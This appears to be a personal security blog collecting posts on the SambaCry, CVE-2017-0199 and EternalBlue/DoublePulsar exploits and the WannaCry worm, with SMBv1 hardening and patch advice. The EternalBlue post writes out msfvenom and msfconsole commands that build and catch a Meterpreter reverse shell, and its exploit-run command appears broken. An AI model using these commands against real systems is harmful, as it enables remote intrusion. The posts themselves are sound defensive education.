EternalRed – CVE-2017-7494

I wrote another post for the Milton Security blog on the CVE-2017-7494 Samba exploit, which affects Linux machines running Samba 3.5.0 – 4.5.4/4.5.10/4.4.14. This also includes NAS devices that many people do not patch regularly. In the blog post i talked about what Samba is and how it has been vulnerable for the last 7 years due to this bug. I also go over on how to test/ exploit your machine to see if you’re vulnerable. I also cover some mitigations, the maintainers of the Samba project have provided a patch so I would advise you install it as soon as possible, some NAS firmware upgrades have been available from Netgear and Synology already.

Below is a demonstration of how easy it is to gain access on a vulnerable machine.

Exploiting CVE-2017-7494 with is_known_pipename Metasploit module

CVE-2017-0199 exploiting and preventing – guest blog

Phishing scams tricking unsuspecting users into opening nefarious files are nothing new, and attackers have using weaponized documents for just about as long. This week, I had the pleasure of being featured on Milton Security’s blog to talk about a new attack that was spotted as early as last year, and was finally patched by Microsoft in April. I went over this CVE-2017-0199 vulnerability that affected Windows based machines using Microsoft Word and the default built-in Wordpad, that enabled an attacker to send a malicious RTF file that would execute a HTA file remotely without any user interaction besides opening the file. I went over how to create the file using Metasploit, a python script, and finally just using Microsoft Word itself and editing the file to make it autorun. Spear-phishing attacks could allow the attacker to send these files to their victims over a spoofed in email and gain a foothold into the victim’s network if they weren’t properly patched which the article also covered towards the end on how to mitigate. So head over there and check it out.

M17-010 EternalBlue

A few weeks ago ShadowBrokers released a dump of NSA/EquationGroup tools used to exploit various machines that they previously tried to auction off unsuccessfully. One of the exploits was for Windows SMB RCE which allowed an unauthenticated attacker to gain System-level privileges on target machines remotely by sending a specially crafted packet to a targeted SMB server. Microsoft quietly patched this as MS17-010 a month before, in March, before the dump was even made public. Although the dump was supposedly stolen around 2013, this affected Windows machines from Win2k up to Win2k16. Most reliable targets were Win7 and Win2k8 R2.

One exploit was codenamed EternalBlue. Everyone quickly jumped on the tools and found that along with ExternalBlue there was another tool called DoublePulsar that allowed you to inject shellcode or DLLs into the victim target after they were exploited with EternalBlue, it sets up the APC call with some user mode shellcode that would perform the DLL load avoiding use of the standard LoadLibrary call. DOUBLEPULSAR implements a loader that can load almost any DLL. A few people had writeups [1] & [2] on how to successfully install the tools in Windows and on Wine on Linux using older versions of Python. It was also discovered you could replace the DoublePulsar .dll with something like Meterpreter or Empire to have more control over your target with the need to use the NSA-provided GUI tool called FuzzBunch.

One could simply use Metasploit to create a .dll using:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=9898 -f dll -o meterpreter.dll
msfconsole -x "use exploit/multi/handler;set LHOST;set LPORT 9898;\
set PAYLOAD windows/x64/meterpreter/reverse_tcp;set ExitOnSession false;exploit -j"

This will create a .dll and open a reverse handler, then you would only need to copy or point to the dll from your attacking machine to use.

@JennaMagius and @zerosum0x0 from RiskSense took a different approach to the tool by replaying network activity of the the attack using a Python script, they were able to eliminate the need to use older versions of Python and needing to do without going through the EternalBlue/DoublePulsar scripts and you are now able to load a Meterpreter payload automatically to the victim with only passing the IP and the path to your Meterpreter payload as parameters.
On Kali create your own bin payload (edit to your own IP & port):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=9898 -f raw -o test.bin
then with python 3.6.1 on Windows or Linux run:
C:\MS17-010-master\exploits\eternalblue>python test.bin

They’ve concluded that there is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD.So far they’ve gotten Win2k8 R2 to trigger the exploit reliably and are continuing to work on different Windows versions and architecture.

They have just released a Metasploit module that targets Win7 and Win2k8 x64 ::HERE::

A ransomware worm called WCRY or WannaCry using the same codebase has been spreading over the past few days using the same scanning technique and infection. It’s been hitting thousands of unpatched machines all over the world, UK hospitals, Telefonica, FedEx, and other businesses were hit by attack.

When it successfully infects a vulnerable computer, the malware runs kernel-level shellcode that has been copied from DOUBLEPULSAR, but with certain adjustments to drop and execute the ransomware dropper payload, both for x86 and x64 systems.
It encrypts a computer’s files and demands a $300 Bitcoin ransom before unlocking it. Not only does it encrypt your files it continues to scan for other PCs to infect within the network and to PCs outside the network.

I created a simple tool that prevents the worm from encrypting your files and spreading itself by creating a MUTEX named ‘Global\MsWinZonesCacheCounterMutexA’, that the worm uses to check to see if it already infected the target, thus it exits its code. Get it from This prevents the original variant of the worm, no guarantee that someones going to modify this name in future variants.

Other preventions you can do to stop from getting infected from EternalBlue/DoublePulsar is just run any of these commands in an Elevated Command Prompt on your machine dism /online /norestart /disable-feature /featurename:SMB1Protocol or sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
sc.exe config mrxsmb10 start= disabled

from Elevated Powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0 -Force
To remove SMB v1 in Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 use elevated Powershell:
Remove-WindowsFeature FS-SMB1 or Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol
Note You must restart the computer after you make these changes. Since most networks do not need a legacy protocol like SMBv1, it shouldn’t break anything important.

And as always, update your machines, there’s been patches available for for 2 months and an out of the ordinary patch for unsupported WinXP/Vista/2k3/2k8 that was released. Also consider adding a rule on your router or firewall to block incoming SMB traffic on port 445